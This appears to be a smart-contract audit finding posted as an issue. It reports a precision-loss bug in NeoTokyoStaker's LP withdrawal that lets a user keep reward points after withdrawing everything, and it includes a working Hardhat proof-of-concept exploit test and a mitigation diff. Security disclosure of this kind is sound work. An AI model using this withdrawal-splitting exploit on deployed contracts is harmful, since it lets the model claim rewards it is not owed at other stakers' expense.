Lines of code

Vulnerability details

Impact

Users are able to continue claiming BYTES rewards indefinitely on their initials points after withdrawing all of their LP stake.

Proof of Concept

A user can withdraw all of their LP staked tokens in multiple steps with an amount < 1e16. If the amount is below that value, zero points will be substracted from the user stake LP position. This is due to a precision loss issue in the points calculation.

Once all the staked tokens have been withdrawn, the user stake LP position will have amount == 0, and points equal to the initial value when the tokens were staked. After that the user can sell, transfer, or dispose the tokens the way he likes, while still being able to collect BYTES token rewards because he retains his original points.

POC Description

• Call NeoTokyoStaker.stake() with _assetType = LP and amount = 1e16

• stakerLPPosition[msg.sender].amount will be 1e16

• stakerLPPosition[msg.sender].points will be 1

• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime

• Call NeoTokyoStaker.withdraw() with _assetType = LP and amount = 9e15

• Call NeoTokyoStaker.withdraw() again, but with _assetType = LP and amount = 1e15

• stakerLPPosition[msg.sender].amount will be 0, as all of the tokens have been withdrawn

• stakerLPPosition[msg.sender].points will STILL BE 1, because of the precision loss on the points calculation

• Call BYTES2.getReward() with the attacker address after some time

• More BYTES tokens will be minted for the attacker despite not having staked tokens, because stakerLPPosition[msg.sender].points = 1

This can be done for any amount of LP tokens. The only difference is that NeoTokyoStaker.withdraw() will have to be called as many times as needed with an amount < 1e16, so that no points are substracted during the withraw.

Vulnerability Explanation

When withdrawing LP tokens, the NeoTokyoStaker._withdrawLP function is called. For values amount < 1e16, the amount will be substracted from the staker LP position, but the points will be calculated as 0, and no points will be substracted from the position nor the pool totalPoints.

This is because of a precision loss on the line:

uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a lower amount value.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

1622:		unchecked {
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; // @audit precision loss
1624:
1625:			// Update the caller's LP token stake.
1626:			lpPosition.amount -= amount;
1627:			lpPosition.points -= points; // @audit-info no points will be substracted
1628:
1629:			// Update the pool point weights for rewards.
1630:			pool.totalPoints -= points; // @audit-info no points will be substracted
1631:		}

Link to code

After withdrawing all the staked LP tokens, the user LP staked position will still have the initials points, which can be used later to claim rewards indefinitely.

POC Test

Include this test on the test/NeoTokyoStaker.test.js inside the main describe:

describe("exploit", function () {
  let attacker, attackerStakeTime, alice;

  beforeEach(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };

    attacker = {
      provider: signers[6].provider,
      signer: signers[6],
      address: addresses[6],
    };

    // Configure the LP token contract address on the staker.
    await NTStaking.connect(owner.signer).configureLP(LPToken.address);

    // Mint testing LP tokens to attacker and approve transfer to the staker.
    await LPToken.mint(attacker.address, ethers.utils.parseEther("10"));
    await LPToken.connect(attacker.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );

    // Mint testing LP tokens to Alice and approve transfer to the staker.
    // Alice will be staking to provide liquidity and satisfy the if (pool.totalPoints != 0) {}
    // condition on the NeoTokyoStaker.getPoolReward() function
    await LPToken.mint(alice.address, ethers.utils.parseEther("100000"));
    await LPToken.connect(alice.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );
    await NTStaking.connect(alice.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("10000"),
      0,
      0
    );
  });

  it.only("allows users to claim rewards after removing all of their staked LP token", async () => {
    // Stake attackers LP tokens for 30 days.
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01"),
      0,
      0
    );

    // Get the time at which the attacker staked
    const priorBlockNumber = await ethers.provider.getBlockNumber();
    const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    attackerStakeTime = priorBlock.timestamp;

    // Wait for the timelock
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30,
    ]);

    // Verify that the attacker has 1 point before withdrawing
    const positionBeforeWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    positionBeforeWithdraw.stakedLPPosition.points.should.be.equal(1);

    // Withdraw attacker LP tokens in multiple withdraw calls
    // Each call with amount < 1e16 will guaranty that no points are discounted
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.009") // 9e15
    );
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.001") // 1e15
    );

    // Verify that the attacker preserves their 1 point, while having no staked amount of tokens
    const positionAfterWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    positionAfterWithdraw.stakedLPPosition.points.should.be.equal(1);
    positionAfterWithdraw.stakedLPPosition.amount.should.be.equal(0);

    // Check and store the amount of BYTES the user has just after the withdrawal of all of their staked tokens
    const bytesAfterWithdraw = await NTBytes2_0.balanceOf(attacker.address);
    bytesAfterWithdraw.should.be.equal("1454999106342030");

    // Wait for some time so check if the attacker earned more rewards despite not having staked tokens
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30 + 100,
    ]);

    // Claim rewards
    await NTBytes2_0.connect(attacker.signer).getReward(attacker.address);

    // Check that the attacker has more BYTES tokens, meaning that they got reward
    // despite not having staked tokens
    const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    const earnedBytes = finalAttackerBytes - bytesAfterWithdraw;
    earnedBytes.should.be.greaterThan(0);
    earnedBytes.should.be.eq(55572861093);
  });
});

Tools Used

Manual review

Recommended Mitigation Steps

Calculate the points value considering the current total staked LP tokens, not only the amount being withdrawn. This translates into substracting points as soon as they reach the max threhold.

Also improve the precision loss by performing multiplications before divisions.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

		unchecked {
-			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
+           uint256 newAmount = lpPosition.amount - amount;
+           uint256 newPoints = newAmount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR;
+           uint256 points = lpPosition.points - newPoints;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

The _stakeLP function must calculate the points the same way as _withdrawLP. Consider creating an auxiliary function that both methods use.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

		unchecked {
-            uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
+            uint256 points = amount * 100 * timelockMultiplier / 1e18 / _DIVISOR;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}  

---

The text was updated successfully, but these errors were encountered:

All reactions